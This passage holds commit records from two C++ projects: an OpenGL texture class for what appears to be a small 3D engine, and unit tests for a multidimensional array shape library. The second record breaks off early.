internalFormat2=GL_RGBA;
internalFormat3=GL_FLOAT;
break;
case TextureSubType::NormalTexture:
default:
mode=GL_TEXTURE_2D;
subMode=GL_TEXTURE_2D;
internalFormat=GL_RGBA8;
internalFormat2=GL_RGBA;
internalFormat3=GL_UNSIGNED_BYTE;
break;
}
// bind
glBindTexture(mode, GL_ID);
if (Mipmapping == true)
{
if (GLEW_VERSION_2_1)
{
glTexImage2D(subMode,0,internalFormat, Width, Height, 0,internalFormat2,internalFormat3, (haveImage==false?NULL:Image.getPixelsPtr()));
glGenerateMipmap(mode);
} else {
gluBuild2DMipmaps(subMode,internalFormat,Width,Height,internalFormat2,internalFormat3, (haveImage==false?NULL:Image.getPixelsPtr()));
}
isMipMap = true;
} else {
glTexImage2D(subMode,0,internalFormat, Width, Height, 0,internalFormat2,internalFormat3, (haveImage==false?NULL:Image.getPixelsPtr()));
}
// default values
glTexParameteri(mode, GL_TEXTURE_WRAP_S, GL_REPEAT);
glTexParameteri(mode, GL_TEXTURE_WRAP_T, GL_REPEAT);
glTexParameteri(mode, GL_TEXTURE_MAG_FILTER, GL_LINEAR);
glTexParameteri(mode, GL_TEXTURE_MIN_FILTER, GL_LINEAR);
// unbind
glBindTexture(mode, 0);
return true;
}
bool Texture::CreateTexture(const uint32& Type, const uint32& SubType, const int& width, const int& height, bool Mipmapping)
{
Width=width;
Height=height;
this->Type=Type;
this->SubType=SubType;
if (GL_ID==-1) {
glGenTextures(1, (GLuint*)&GL_ID);
}
if (GL_ID==-1)
{
echo("ERROR: Couldn't Create Texture");
return false;
}
// Create Texture
return CreateTexture(Mipmapping);
}
void Texture::SetAnysotropy(const f32& Anysotropic)
{
// bind
glBindTexture(mode, GL_ID);
this->Anysotropic = Anysotropic;
if (Anysotropic>0.0)
{
f32 AnysotropicMax;
glGetFloatv(GL_MAX_TEXTURE_MAX_ANISOTROPY_EXT, &AnysotropicMax);
if (AnysotropicMax>Anysotropic)
glTexParameteri(mode, GL_TEXTURE_MAX_ANISOTROPY_EXT, Anysotropic);
else if (AnysotropicMax>0.0)
glTexParameteri(mode, GL_TEXTURE_MAX_ANISOTROPY_EXT, AnysotropicMax);
} else {
glTexParameteri(mode, GL_TEXTURE_MAX_ANISOTROPY_EXT, 0);
}
// unbind
glBindTexture(mode, 0);
}
void Texture::SetRepeat(const uint32& WrapS, const uint32& WrapT)
{
SRepeat = WrapS;
TRepeat = WrapT;
// bind
glBindTexture(mode, GL_ID);
switch (SRepeat)
{
case TextureRepeat::ClampToEdge:
glTexParameteri(mode, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);
break;
case TextureRepeat::ClampToBorder:
glTexParameteri(mode, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_BORDER);
break;
case TextureRepeat::Clamp:
glTexParameteri(mode, GL_TEXTURE_WRAP_S, GL_CLAMP);
break;
case TextureRepeat::Repeat:
default:
glTexParameteri(mode, GL_TEXTURE_WRAP_S, GL_REPEAT);
break;
}
switch (TRepeat)
{
case TextureRepeat::ClampToEdge:
glTexParameteri(mode, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);
break;
case TextureRepeat::ClampToBorder:
glTexParameteri(mode, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_BORDER);
break;
case TextureRepeat::Clamp:
glTexParameteri(mode, GL_TEXTURE_WRAP_T, GL_CLAMP);
break;
case TextureRepeat::Repeat:
default:
glTexParameteri(mode, GL_TEXTURE_WRAP_T, GL_REPEAT);
break;
}
// unbind
glBindTexture(mode, 0);
}
void Texture::SetMinMagFilter(const uint32& MinFilter, const uint32& MagFilter)
{
this->MinFilter = MinFilter;
this->MagFilter = MagFilter;
// bind
glBindTexture(mode, GL_ID);
switch (MagFilter)
{
case TextureFilter::Nearest:
case TextureFilter::NearestMipmapNearest:
if (isMipMap == true)
glTexParameteri(mode, GL_TEXTURE_MAG_FILTER, GL_NEAREST_MIPMAP_NEAREST);
else
glTexParameteri(mode, GL_TEXTURE_MAG_FILTER, GL_NEAREST);
break;
case TextureFilter::NearestMipmapLinear:
if (isMipMap == true)
glTexParameteri(mode, GL_TEXTURE_MAG_FILTER, GL_NEAREST_MIPMAP_LINEAR);
else
glTexParameteri(mode, GL_TEXTURE_MAG_FILTER, GL_NEAREST);
break;
case TextureFilter::LinearMipmapNearest:
if (isMipMap == true)
glTexParameteri(mode, GL_TEXTURE_MAG_FILTER, GL_LINEAR_MIPMAP_NEAREST);
else
glTexParameteri(mode, GL_TEXTURE_MAG_FILTER, GL_LINEAR);
break;
case TextureFilter::Linear:
case TextureFilter::LinearMipmapLinear:
default:
if (isMipMap == true)
glTexParameteri(mode, GL_TEXTURE_MAG_FILTER, GL_LINEAR_MIPMAP_LINEAR);
else
glTexParameteri(mode, GL_TEXTURE_MAG_FILTER, GL_LINEAR);
break;
}
switch (MinFilter)
{
case TextureFilter::Nearest:
case TextureFilter::NearestMipmapNearest:
if (isMipMap == true)
glTexParameteri(mode, GL_TEXTURE_MIN_FILTER, GL_NEAREST_MIPMAP_NEAREST);
else
glTexParameteri(mode, GL_TEXTURE_MIN_FILTER, GL_NEAREST);
break;
case TextureFilter::NearestMipmapLinear:
if (isMipMap == true)
glTexParameteri(mode, GL_TEXTURE_MIN_FILTER, GL_NEAREST_MIPMAP_LINEAR);
else
glTexParameteri(mode, GL_TEXTURE_MIN_FILTER, GL_NEAREST);
break;
case TextureFilter::LinearMipmapNearest:
if (isMipMap == true)
glTexParameteri(mode, GL_TEXTURE_MIN_FILTER, GL_LINEAR_MIPMAP_NEAREST);
else
glTexParameteri(mode, GL_TEXTURE_MIN_FILTER, GL_LINEAR);
break;
case TextureFilter::Linear:
case TextureFilter::LinearMipmapLinear:
default:
if (isMipMap == true)
glTexParameteri(mode, GL_TEXTURE_MIN_FILTER, GL_LINEAR_MIPMAP_LINEAR);
else
glTexParameteri(mode, GL_TEXTURE_MIN_FILTER, GL_LINEAR);
break;
}
// unbind
glBindTexture(mode, 0);
}
void Texture::EnableCompareMode()
{
// USED ONLY FOR DEPTH MAPS
// Bind
glBindTexture(mode, GL_ID);
GLfloat l_ClampColor[] = {1.0, 1.0, 1.0, 1.0};
glTexParameterfv(GL_TEXTURE_2D, GL_TEXTURE_BORDER_COLOR, l_ClampColor);
// This is to allow usage of shadow2DProj function in the shader
glTexParameteri(mode,GL_TEXTURE_COMPARE_MODE,GL_COMPARE_R_TO_TEXTURE);
glTexParameteri(mode,GL_TEXTURE_COMPARE_FUNC,GL_LEQUAL);
glTexParameteri(mode, GL_DEPTH_TEXTURE_MODE, GL_INTENSITY);
// Unbind
glBindTexture(mode, 0);
}
void Texture::SetTransparency(const f32& Transparency)
{
this->Transparency = Transparency;
}
void Texture::Resize(const uint32& Width, const uint32& Height)
{
glBindTexture(mode, GL_ID);
this->Width=Width;
this->Height=Height;
glTexImage2D(subMode,0,internalFormat, Width, Height, 0,internalFormat2,internalFormat3, (haveImage==false?NULL:Image.getPixelsPtr()));
if (isMipMap == true)
{
glGenerateMipmap(mode);
if (GLEW_VERSION_2_1)
{
glGenerateMipmap(mode);
} else {
gluBuild2DMipmaps(subMode,internalFormat,Width,Height,internalFormat2,internalFormat3, (haveImage==false?NULL:Image.getPixelsPtr()));
}
}
glBindTexture(mode, 0);
}
void Texture::UpdateData(void* srcPTR)
{
if (GL_ID>0)
{
// bind
glBindTexture(mode, GL_ID);
glTexImage2D(subMode,0,internalFormat, Width, Height, 0,internalFormat2,internalFormat3, srcPTR);
if (isMipMap == true)
{
glGenerateMipmap(mode);
if (GLEW_VERSION_2_1)
{
glGenerateMipmap(mode);
} else {
gluBuild2DMipmaps(subMode,internalFormat,Width,Height,internalFormat2,internalFormat3, srcPTR);
}
}
// unbind
glBindTexture(mode, 0);
}
}
void Texture::UpdateMipmap()
{
// bind
glBindTexture(mode, GL_ID);
if (isMipMap == true)
{
glGenerateMipmap(mode);
if (GLEW_VERSION_2_1)
{
glGenerateMipmap(mode);
} else {
gluBuild2DMipmaps(subMode,internalFormat,Width,Height,internalFormat2,internalFormat3, (haveImage==false?NULL:Image.getPixelsPtr()));
}
}
// unbind
glBindTexture(mode, 0);
}
void Texture::Bind()
{
glActiveTexture(GL_TEXTURE0 + UnitBinded);
glBindTexture(mode, GL_ID);
// For Transparency
if (Transparency==TextureTransparency::Transparent)
{
glEnable(GL_BLEND);
glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);
}
// Save Last Unit Binded
LastUnitBinded = UnitBinded;
// Set New Unit value
UnitBinded++;
}
void Texture::Unbind()
{
UnitBinded--;
if (Transparency==TextureTransparency::Transparent) glDisable(GL_BLEND);
glActiveTexture(GL_TEXTURE0 + UnitBinded);
glBindTexture(mode, 0);
// Save Last Unit Binded
LastUnitBinded = UnitBinded;
}
uint32 Texture::GetLastBindedUnit()
{
return LastUnitBinded;
}
void Texture::DeleteTexture()
{
if (GL_ID!=-1)
glDeleteTextures (1, (GLuint*)&GL_ID);
}
const uint32 Texture::GetBindID() const
{
return GL_ID;
}
void Texture::Dispose()
{
DeleteTexture();
}
}<commit_msg>Fixed a Line and Cleaned some Lines<commit_after>//============================================================================
// Name : Texture.h
// Author : Duarte Peixinho
// Version :
// Copyright : ;)
// Description : Texture
//============================================================================
#include "Texture.h"
#include "../../AssetManager.h"
#include "GL/glew.h"
#define GLCHECK() { int error = glGetError(); if(error != GL_NO_ERROR) { std::cout << "GL Error: " << std::hex << error << std::endl; } }
namespace p3d {
uint32 Texture::UnitBinded = 0;
uint32 Texture::LastUnitBinded = 0;
Texture::Texture() : GL_ID(-1), haveImage(false), isMipMap(false)
{
}
Texture::~Texture() {}
bool Texture::LoadTexture(const std::string& FileName, const uint32 &Type,const uint32 &SubType, bool Mipmapping)
{
bool failed = false;
std::string Filename = FileName;
sf::Image image;
bool ImageLoaded = image.loadFromFile(Filename);
if (!ImageLoaded)
{
echo("ERROR: Texture Not Found!");
Filename = "textures/texture_not_found.png";
ImageLoaded = image.loadFromFile(Filename);
}
if (ImageLoaded)
{
this->FileName=Filename;
this->Width=image.getSize().x;
this->Height=image.getSize().y;
this->Image=image;
this->haveImage=true;
this->Type=Type;
this->SubType=SubType;
this->Transparency=TextureTransparency::Opaque;
if (this->GL_ID==-1) {
glGenTextures(1, (GLuint*)&this->GL_ID);
}
if (this->GL_ID==-1)
{
failed = true;
}
} else {
failed = true;
}
if (failed)
{
echo("ERROR: Failed to Load Texture.");
return false;
}
// create default texture
return CreateTexture(Mipmapping);
}
bool Texture::CreateTexture(bool Mipmapping)
{
// default texture
switch(SubType) {
case TextureSubType::CubemapNegative_X:
subMode=GL_TEXTURE_CUBE_MAP_NEGATIVE_X;
mode=GL_TEXTURE_CUBE_MAP;
internalFormat=GL_RGBA8;
internalFormat2=GL_RGBA;
internalFormat3=GL_UNSIGNED_BYTE;
break;
case TextureSubType::CubemapNegative_Y:
subMode=GL_TEXTURE_CUBE_MAP_NEGATIVE_Y;
mode=GL_TEXTURE_CUBE_MAP;
internalFormat=GL_RGBA8;
internalFormat2=GL_RGBA;
internalFormat3=GL_UNSIGNED_BYTE;
break;
case TextureSubType::CubemapNegative_Z:
subMode=GL_TEXTURE_CUBE_MAP_NEGATIVE_Z;
mode=GL_TEXTURE_CUBE_MAP;
internalFormat=GL_RGBA8;
internalFormat2=GL_RGBA;
internalFormat3=GL_UNSIGNED_BYTE;
break;
case TextureSubType::CubemapPositive_X:
subMode=GL_TEXTURE_CUBE_MAP_POSITIVE_X;
mode=GL_TEXTURE_CUBE_MAP;
internalFormat=GL_RGBA8;
internalFormat2=GL_RGBA;
internalFormat3=GL_UNSIGNED_BYTE;
break;
case TextureSubType::CubemapPositive_Y:
subMode=GL_TEXTURE_CUBE_MAP_POSITIVE_Y;
mode=GL_TEXTURE_CUBE_MAP;
internalFormat=GL_RGBA8;
internalFormat2=GL_RGBA;
internalFormat3=GL_UNSIGNED_BYTE;
break;
case TextureSubType::CubemapPositive_Z:
subMode=GL_TEXTURE_CUBE_MAP_POSITIVE_Z;
mode=GL_TEXTURE_CUBE_MAP;
internalFormat=GL_RGBA8;
internalFormat2=GL_RGBA;
internalFormat3=GL_UNSIGNED_BYTE;
break;
case TextureSubType::DepthComponent:
subMode=GL_TEXTURE_2D;
mode=GL_TEXTURE_2D;
internalFormat=GL_DEPTH_COMPONENT;
internalFormat2=GL_DEPTH_COMPONENT;
internalFormat3=GL_UNSIGNED_BYTE;
break;
case TextureSubType::FloatingPointTexture16F:
mode=GL_TEXTURE_2D;
subMode=GL_TEXTURE_2D;
internalFormat=GL_RGBA16F;
internalFormat2=GL_RGBA;
internalFormat3=GL_FLOAT;
break;
case TextureSubType::FloatingPointTexture32F:
mode=GL_TEXTURE_2D;
subMode=GL_TEXTURE_2D;
internalFormat=GL_RGBA32F;
internalFormat2=GL_RGBA;
internalFormat3=GL_FLOAT;
break;
case TextureSubType::NormalTexture:
default:
mode=GL_TEXTURE_2D;
subMode=GL_TEXTURE_2D;
internalFormat=GL_RGBA8;
internalFormat2=GL_RGBA;
internalFormat3=GL_UNSIGNED_BYTE;
break;
}
// bind
glBindTexture(mode, GL_ID);
if (Mipmapping == true)
{
if (GLEW_VERSION_2_1)
{
glTexImage2D(subMode,0,internalFormat, Width, Height, 0,internalFormat2,internalFormat3, (haveImage==false?NULL:Image.getPixelsPtr()));
glGenerateMipmap(mode);
} else {
gluBuild2DMipmaps(subMode,internalFormat,Width,Height,internalFormat2,internalFormat3, (haveImage==false?NULL:Image.getPixelsPtr()));
}
isMipMap = true;
} else {
glTexImage2D(subMode,0,internalFormat, Width, Height, 0,internalFormat2,internalFormat3, (haveImage==false?NULL:Image.getPixelsPtr()));
}
// default values
glTexParameteri(mode, GL_TEXTURE_WRAP_S, GL_REPEAT);
glTexParameteri(mode, GL_TEXTURE_WRAP_T, GL_REPEAT);
glTexParameteri(mode, GL_TEXTURE_MAG_FILTER, GL_LINEAR);
glTexParameteri(mode, GL_TEXTURE_MIN_FILTER, GL_LINEAR);
// unbind
glBindTexture(mode, 0);
return true;
}
bool Texture::CreateTexture(const uint32& Type, const uint32& SubType, const int& width, const int& height, bool Mipmapping)
{
Width=width;
Height=height;
this->Type=Type;
this->SubType=SubType;
if (GL_ID==-1) {
glGenTextures(1, (GLuint*)&GL_ID);
}
if (GL_ID==-1)
{
echo("ERROR: Couldn't Create Texture");
return false;
}
// Create Texture
return CreateTexture(Mipmapping);
}
void Texture::SetAnysotropy(const f32& Anysotropic)
{
// bind
glBindTexture(mode, GL_ID);
this->Anysotropic = Anysotropic;
if (Anysotropic>0.0)
{
f32 AnysotropicMax;
glGetFloatv(GL_MAX_TEXTURE_MAX_ANISOTROPY_EXT, &AnysotropicMax);
if (AnysotropicMax>Anysotropic)
glTexParameteri(mode, GL_TEXTURE_MAX_ANISOTROPY_EXT, Anysotropic);
else if (AnysotropicMax>0.0)
glTexParameteri(mode, GL_TEXTURE_MAX_ANISOTROPY_EXT, AnysotropicMax);
} else {
glTexParameteri(mode, GL_TEXTURE_MAX_ANISOTROPY_EXT, 0);
}
// unbind
glBindTexture(mode, 0);
}
void Texture::SetRepeat(const uint32& WrapS, const uint32& WrapT)
{
SRepeat = WrapS;
TRepeat = WrapT;
// bind
glBindTexture(mode, GL_ID);
switch (SRepeat)
{
case TextureRepeat::ClampToEdge:
glTexParameteri(mode, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);
break;
case TextureRepeat::ClampToBorder:
glTexParameteri(mode, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_BORDER);
break;
case TextureRepeat::Clamp:
glTexParameteri(mode, GL_TEXTURE_WRAP_S, GL_CLAMP);
break;
case TextureRepeat::Repeat:
default:
glTexParameteri(mode, GL_TEXTURE_WRAP_S, GL_REPEAT);
break;
}
switch (TRepeat)
{
case TextureRepeat::ClampToEdge:
glTexParameteri(mode, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);
break;
case TextureRepeat::ClampToBorder:
glTexParameteri(mode, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_BORDER);
break;
case TextureRepeat::Clamp:
glTexParameteri(mode, GL_TEXTURE_WRAP_T, GL_CLAMP);
break;
case TextureRepeat::Repeat:
default:
glTexParameteri(mode, GL_TEXTURE_WRAP_T, GL_REPEAT);
break;
}
// unbind
glBindTexture(mode, 0);
}
void Texture::SetMinMagFilter(const uint32& MinFilter, const uint32& MagFilter)
{
this->MinFilter = MinFilter;
this->MagFilter = MagFilter;
// bind
glBindTexture(mode, GL_ID);
switch (MagFilter)
{
case TextureFilter::Nearest:
case TextureFilter::NearestMipmapNearest:
if (isMipMap == true)
glTexParameteri(mode, GL_TEXTURE_MAG_FILTER, GL_NEAREST_MIPMAP_NEAREST);
else
glTexParameteri(mode, GL_TEXTURE_MAG_FILTER, GL_NEAREST);
break;
case TextureFilter::NearestMipmapLinear:
if (isMipMap == true)
glTexParameteri(mode, GL_TEXTURE_MAG_FILTER, GL_NEAREST_MIPMAP_LINEAR);
else
glTexParameteri(mode, GL_TEXTURE_MAG_FILTER, GL_NEAREST);
break;
case TextureFilter::LinearMipmapNearest:
if (isMipMap == true)
glTexParameteri(mode, GL_TEXTURE_MAG_FILTER, GL_LINEAR_MIPMAP_NEAREST);
else
glTexParameteri(mode, GL_TEXTURE_MAG_FILTER, GL_LINEAR);
break;
case TextureFilter::Linear:
case TextureFilter::LinearMipmapLinear:
default:
if (isMipMap == true)
glTexParameteri(mode, GL_TEXTURE_MAG_FILTER, GL_LINEAR_MIPMAP_LINEAR);
else
glTexParameteri(mode, GL_TEXTURE_MAG_FILTER, GL_LINEAR);
break;
}
switch (MinFilter)
{
case TextureFilter::Nearest:
case TextureFilter::NearestMipmapNearest:
if (isMipMap == true)
glTexParameteri(mode, GL_TEXTURE_MIN_FILTER, GL_NEAREST_MIPMAP_NEAREST);
else
glTexParameteri(mode, GL_TEXTURE_MIN_FILTER, GL_NEAREST);
break;
case TextureFilter::NearestMipmapLinear:
if (isMipMap == true)
glTexParameteri(mode, GL_TEXTURE_MIN_FILTER, GL_NEAREST_MIPMAP_LINEAR);
else
glTexParameteri(mode, GL_TEXTURE_MIN_FILTER, GL_NEAREST);
break;
case TextureFilter::LinearMipmapNearest:
if (isMipMap == true)
glTexParameteri(mode, GL_TEXTURE_MIN_FILTER, GL_LINEAR_MIPMAP_NEAREST);
else
glTexParameteri(mode, GL_TEXTURE_MIN_FILTER, GL_LINEAR);
break;
case TextureFilter::Linear:
case TextureFilter::LinearMipmapLinear:
default:
if (isMipMap == true)
glTexParameteri(mode, GL_TEXTURE_MIN_FILTER, GL_LINEAR_MIPMAP_LINEAR);
else
glTexParameteri(mode, GL_TEXTURE_MIN_FILTER, GL_LINEAR);
break;
}
// unbind
glBindTexture(mode, 0);
}
void Texture::EnableCompareMode()
{
// USED ONLY FOR DEPTH MAPS
// Bind
glBindTexture(mode, GL_ID);
GLfloat l_ClampColor[] = {1.0, 1.0, 1.0, 1.0};
glTexParameterfv(mode, GL_TEXTURE_BORDER_COLOR, l_ClampColor);
// This is to allow usage of shadow2DProj function in the shader
glTexParameteri(mode,GL_TEXTURE_COMPARE_MODE,GL_COMPARE_R_TO_TEXTURE);
glTexParameteri(mode,GL_TEXTURE_COMPARE_FUNC,GL_LEQUAL);
glTexParameteri(mode, GL_DEPTH_TEXTURE_MODE, GL_INTENSITY);
// Unbind
glBindTexture(mode, 0);
}
void Texture::SetTransparency(const f32& Transparency)
{
this->Transparency = Transparency;
}
void Texture::Resize(const uint32& Width, const uint32& Height)
{
glBindTexture(mode, GL_ID);
this->Width=Width;
this->Height=Height;
glTexImage2D(subMode,0,internalFormat, Width, Height, 0,internalFormat2,internalFormat3, (haveImage==false?NULL:Image.getPixelsPtr()));
if (isMipMap == true)
{
glGenerateMipmap(mode);
if (GLEW_VERSION_2_1)
{
glGenerateMipmap(mode);
} else {
gluBuild2DMipmaps(subMode,internalFormat,Width,Height,internalFormat2,internalFormat3, (haveImage==false?NULL:Image.getPixelsPtr()));
}
}
glBindTexture(mode, 0);
}
void Texture::UpdateData(void* srcPTR)
{
if (GL_ID>0)
{
// bind
glBindTexture(mode, GL_ID);
glTexImage2D(subMode,0,internalFormat, Width, Height, 0,internalFormat2,internalFormat3, srcPTR);
if (isMipMap == true)
{
glGenerateMipmap(mode);
if (GLEW_VERSION_2_1)
{
glGenerateMipmap(mode);
} else {
gluBuild2DMipmaps(subMode,internalFormat,Width,Height,internalFormat2,internalFormat3, srcPTR);
}
}
// unbind
glBindTexture(mode, 0);
}
}
void Texture::UpdateMipmap()
{
// bind
glBindTexture(mode, GL_ID);
if (isMipMap == true)
{
glGenerateMipmap(mode);
if (GLEW_VERSION_2_1)
{
glGenerateMipmap(mode);
} else {
gluBuild2DMipmaps(subMode,internalFormat,Width,Height,internalFormat2,internalFormat3, (haveImage==false?NULL:Image.getPixelsPtr()));
}
}
// unbind
glBindTexture(mode, 0);
}
void Texture::Bind()
{
glActiveTexture(GL_TEXTURE0 + UnitBinded);
glBindTexture(mode, GL_ID);
// For Transparency
if (Transparency==TextureTransparency::Transparent)
{
glEnable(GL_BLEND);
glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);
}
// Save Last Unit Binded
LastUnitBinded = UnitBinded;
// Set New Unit value
UnitBinded++;
}
void Texture::Unbind()
{
UnitBinded--;
if (Transparency==TextureTransparency::Transparent) glDisable(GL_BLEND);
glActiveTexture(GL_TEXTURE0 + UnitBinded);
glBindTexture(mode, 0);
// Save Last Unit Binded
LastUnitBinded = UnitBinded;
}
uint32 Texture::GetLastBindedUnit()
{
return LastUnitBinded;
}
void Texture::DeleteTexture()
{
if (GL_ID!=-1)
glDeleteTextures (1, (GLuint*)&GL_ID);
}
const uint32 Texture::GetBindID() const
{
return GL_ID;
}
void Texture::Dispose()
{
DeleteTexture();
}
}<|endoftext|>
|
<commit_before>#include "array.h"
#include "test.h"
namespace array {
TEST(euclidean_div_mod) {
const int values[] = {
-1000, -100, -10, -2, -1, 0, 1, 2, 10, 100, 1000,
};
for (int b : values) {
if (b == 0) continue;
for (int a : values) {
int q = internal::euclidean_div(a, b);
int r = internal::euclidean_mod(a, b);
ASSERT_EQ(q * b + r, a);
ASSERT(0 <= r && r < std::abs(b));
}
}
}
TEST(shape_scalar) {
shape<> s;
ASSERT_EQ(s.flat_extent(), 1);
ASSERT_EQ(s.size(), 1);
ASSERT_EQ(s(), 0);
}
TEST(shape_1d) {
for (int stride : {1, 2, 10}) {
dim<> x(0, 10, stride);
auto s = make_shape(x);
for (int i : x) {
ASSERT_EQ(s(i), i * stride);
}
}
}
TEST(shape_1d_dense) {
dense_dim<> x(0, 10);
auto s = make_shape(x);
for (int i : x) {
ASSERT_EQ(s(i), i);
}
}
TEST(shape_2d) {
dense_dim<> x(0, 10);
dim<> y(0, 5, x.extent());
auto s = make_shape(x, y);
for (int i : y) {
for (int j : x) {
ASSERT_EQ(s(j, i), i * x.extent() + j);
}
}
}
TEST(make_dense_shape_1d) {
dense_shape<1> s = make_dense_shape(10);
dense_dim<> x = s.template dim<0>();
ASSERT_EQ(x.min(), 0);
ASSERT_EQ(x.extent(), 10);
ASSERT_EQ(x.stride(), 1);
}
TEST(make_dense_shape_2d) {
dense_shape<2> s(10, 5);
dense_dim<> x = s.template dim<0>();
dim<> y = s.template dim<1>();
ASSERT_EQ(x.min(), 0);
ASSERT_EQ(x.extent(), 10);
ASSERT_EQ(x.stride(), 1);
ASSERT_EQ(y.min(), 0);
ASSERT_EQ(y.extent(), 5);
ASSERT_EQ(y.stride(), 10);
}
TEST(make_dense_shape_3d) {
dense_shape<3> s(10, 5, 20);
dense_dim<> x = s.template dim<0>();
dim<> y = s.template dim<1>();
dim<> z = s.template dim<2>();
ASSERT_EQ(x.min(), 0);
ASSERT_EQ(x.extent(), 10);
ASSERT_EQ(x.stride(), 1);
ASSERT_EQ(y.min(), 0);
ASSERT_EQ(y.extent(), 5);
ASSERT_EQ(y.stride(), 10);
ASSERT_EQ(z.min(), 0);
ASSERT_EQ(z.extent(), 20);
ASSERT_EQ(z.stride(), 50);
}
TEST(auto_strides) {
shape_of_rank<3> s(10, 20, 3);
dim<> x = s.template dim<0>();
dim<> y = s.template dim<1>();
dim<> z = s.template dim<2>();
ASSERT_EQ(x.min(), 0);
ASSERT_EQ(x.extent(), 10);
ASSERT_EQ(x.stride(), 1);
ASSERT_EQ(y.min(), 0);
ASSERT_EQ(y.extent(), 20);
ASSERT_EQ(y.stride(), 10);
ASSERT_EQ(z.min(), 0);
ASSERT_EQ(z.extent(), 3);
ASSERT_EQ(z.stride(), 200);
}
TEST(auto_strides_interleaved) {
shape<dim<>, dim<>, dense_dim<>> s(10, 20, 3);
dim<> x = s.template dim<0>();
dim<> y = s.template dim<1>();
auto z = s.template dim<2>();
ASSERT_EQ(x.min(), 0);
ASSERT_EQ(x.extent(), 10);
ASSERT_EQ(x.stride(), 3);
ASSERT_EQ(y.min(), 0);
ASSERT_EQ(y.extent(), 20);
ASSERT_EQ(y.stride(), 30);
ASSERT_EQ(z.min(), 0);
ASSERT_EQ(z.extent(), 3);
ASSERT_EQ(z.stride(), 1);
}
TEST(folded_dim) {
dim<> x(0, 10, 1);
folded_dim<> y(4, 10);
auto s = make_shape(x, y);
for (int i = 0; i < 10; i++) {
for (int j : x) {
ASSERT_EQ(s(j, i), (i % 4) * 10 + j);
}
}
}
TEST(broadcast_dim) {
dim<> x(0, 10, 1);
broadcast_dim<> y;
auto s = make_shape(x, y);
for (int i = 0; i < 10; i++) {
for (int j : x) {
ASSERT_EQ(s(j, i), j);
}
}
}
TEST(clamp) {
dim<> x(5, 10, 1);
for (int i = -10; i < 20; i++) {
int correct = std::max(std::min(i, 14), 5);
ASSERT(clamp(i, x) == correct);
}
}
TEST(for_all_indices_1d) {
dense_shape<1> s = make_dense_shape(20);
int expected_flat_offset = 0;
for_all_indices(s, [&](int x) {
ASSERT_EQ(s(x), expected_flat_offset);
expected_flat_offset++;
});
// Ensure the for_all_indices loop above actually ran.
ASSERT_EQ(expected_flat_offset, 20);
}
TEST(for_all_indices_2d) {
dense_shape<2> s(10, 4);
int expected_flat_offset = 0;
for_all_indices(s, [&](int x, int y) {
ASSERT_EQ(s(x, y), expected_flat_offset);
expected_flat_offset++;
});
// Ensure the for_all_indices loop above actually ran.
ASSERT_EQ(expected_flat_offset, 40);
}
TEST(for_all_indices_3d) {
dense_shape<3> s(3, 5, 8);
int expected_flat_offset = 0;
for_all_indices(s, [&](int x, int y, int z) {
ASSERT_EQ(s(x, y, z), expected_flat_offset);
expected_flat_offset++;
});
// Ensure the for_all_indices loop above actually ran.
ASSERT_EQ(expected_flat_offset, 120);
}
TEST(for_each_index_1d) {
dense_shape<1> s = make_dense_shape(20);
int expected_flat_offset = 0;
for_each_index(s, [&](std::tuple<int> x) {
ASSERT_EQ(s(x), expected_flat_offset);
expected_flat_offset++;
});
// Ensure the for_each_index loop above actually ran.
ASSERT_EQ(expected_flat_offset, 20);
}
TEST(for_each_index_2d) {
dense_shape<2> s(10, 4);
int expected_flat_offset = 0;
for_each_index(s, [&](std::tuple<int, int> x) {
ASSERT_EQ(s(x), expected_flat_offset);
expected_flat_offset++;
});
// Ensure the for_each_index loop above actually ran.
ASSERT_EQ(expected_flat_offset, 40);
}
TEST(for_each_index_3d) {
dense_shape<3> s(3, 5, 8);
int expected_flat_offset = 0;
for_each_index(s, [&](std::tuple<int, int, int> x) {
ASSERT_EQ(s(x), expected_flat_offset);
expected_flat_offset++;
});
// Ensure the for_each_index loop above actually ran.
ASSERT_EQ(expected_flat_offset, 120);
}
TEST(dim_is_in_range) {
dim<> x(2, 5);
for (int i = 2; i < 7; i++) {
ASSERT(x.is_in_range(i));
}
ASSERT(!x.is_in_range(1));
ASSERT(!x.is_in_range(8));
}
TEST(shape_is_in_range_1d) {
dim<> x(2, 5);
auto s = make_shape(x);
for (int i = 2; i < 7; i++) {
ASSERT(s.is_in_range(i));
}
ASSERT(!s.is_in_range(1));
ASSERT(!s.is_in_range(8));
}
TEST(shape_is_in_range_2d) {
dim<> x(2, 5);
dim<> y(-3, 6);
auto s = make_shape(x, y);
for (int i = -3; i < 3; i++) {
for (int j = 2; j < 7; j++) {
ASSERT(s.is_in_range(j, i));
}
}
ASSERT(!s.is_in_range(1, 0));
ASSERT(!s.is_in_range(2, -4));
ASSERT(!s.is_in_range(8, 0));
ASSERT(!s.is_in_range(2, 4));
}
TEST(shape_conversion) {
dense_dim<> x_dense(0, 10);
dim<> x = x_dense;
ASSERT_EQ(x.min(), 0);
ASSERT_EQ(x.extent(), 10);
ASSERT_EQ(x.stride(), 1);
// TODO: Enabling this leads to lots of overload ambiguity.
//dense_shape<2> static_dense(dense_dim<>(0, 10), dim<>(1, 5));
//shape_of_rank<2> dense = static_dense;
}
TEST(shape_transpose) {
dense_shape<3> s(3, 5, 8);
auto transposed = transpose<1, 2, 0>(s);
ASSERT_EQ(transposed.template dim<0>().extent(), 5);
ASSERT_EQ(transposed.template dim<1>().extent(), 8);
ASSERT_EQ(transposed.template dim<2>().extent(), 3);
}
} // namespace array
<commit_msg>Add test of transpose to reorder loops.<commit_after>#include "array.h"
#include "test.h"
namespace array {
TEST(euclidean_div_mod) {
const int values[] = {
-1000, -100, -10, -2, -1, 0, 1, 2, 10, 100, 1000,
};
for (int b : values) {
if (b == 0) continue;
for (int a : values) {
int q = internal::euclidean_div(a, b);
int r = internal::euclidean_mod(a, b);
ASSERT_EQ(q * b + r, a);
ASSERT(0 <= r && r < std::abs(b));
}
}
}
TEST(shape_scalar) {
shape<> s;
ASSERT_EQ(s.flat_extent(), 1);
ASSERT_EQ(s.size(), 1);
